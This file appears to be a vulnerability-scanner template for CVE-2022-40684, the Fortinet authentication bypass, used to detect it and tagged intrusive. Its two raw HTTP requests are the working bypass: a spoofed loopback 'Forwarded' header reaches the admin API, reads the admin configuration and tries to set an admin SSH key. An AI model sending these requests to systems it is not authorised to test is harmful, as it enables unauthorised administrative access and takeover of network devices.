id: CVE-2022-40684

info:
  name: Fortinet - Authentication Bypass
  author: Shockwave,nagli,carlosvieira
  severity: critical
  description: |
    Fortinet contains an authentication bypass vulnerability via using an alternate path or channel in FortiOS 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy 7.2.0 and 7.0.0 through 7.0.6, and FortiSwitchManager 7.2.0 and 7.0.0. An attacker can perform operations on the administrative interface via specially crafted HTTP or HTTPS requests, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
  remediation: |
    Apply the necessary security patches or firmware updates provided by Fortinet to mitigate this vulnerability.
  reference:
    - https://github.com/horizon3ai/CVE-2022-40684/blob/master/CVE-2022-40684.py
    - https://securityonline.info/researchers-have-developed-cve-2022-40684-poc-exploit-code/
    - https://socradar.io/what-do-you-need-to-know-about-fortinet-critical-authentication-bypass-vulnerability-cve-2022-40684/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40684
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40684
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-40684
    cwe-id: CWE-287
    epss-score: 0.95286
    epss-percentile: 0.99118
    cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortinet
    product: fortiproxy
  tags: cve,cve2022,fortinet,fortigate,fortios,fortiproxy,auth-bypass,kev,intrusive

http:
  - raw:
      - |
        GET /api/v2/cmdb/system/admin HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Node.js
        Forwarded: by="[127.0.0.1]:1337";for="[127.0.0.1]:1337";proto=http;host=
        X-Forwarded-Vdom: root
      - |
        PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Report Runner
        Content-Type: application/json
        Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
        Content-Length: 610

         {
          "ssh-public-key1":"{{randstr}}"
        }

    stop-at-first-match: true
    req-condition: true

    matchers-condition: or
    matchers:
      - type: word
        part: body_1
        words:
          - ENC XXXX
          - http_method
        condition: and

      - type: word
        part: body_2
        words:
          - Invalid SSH public key.
          - cli_error
        condition: and

# digest: 4a0a004730450220564536e233e4407c8f6896020f028eb9447dbf6d8cc0290d6185c5d03fd43742022100c374461c87bce0f393a48a4d9f8cf48d7fa9249ea4aa299a6a9581bb61f3a16f:922c64590222798bb761d5b6d8e72950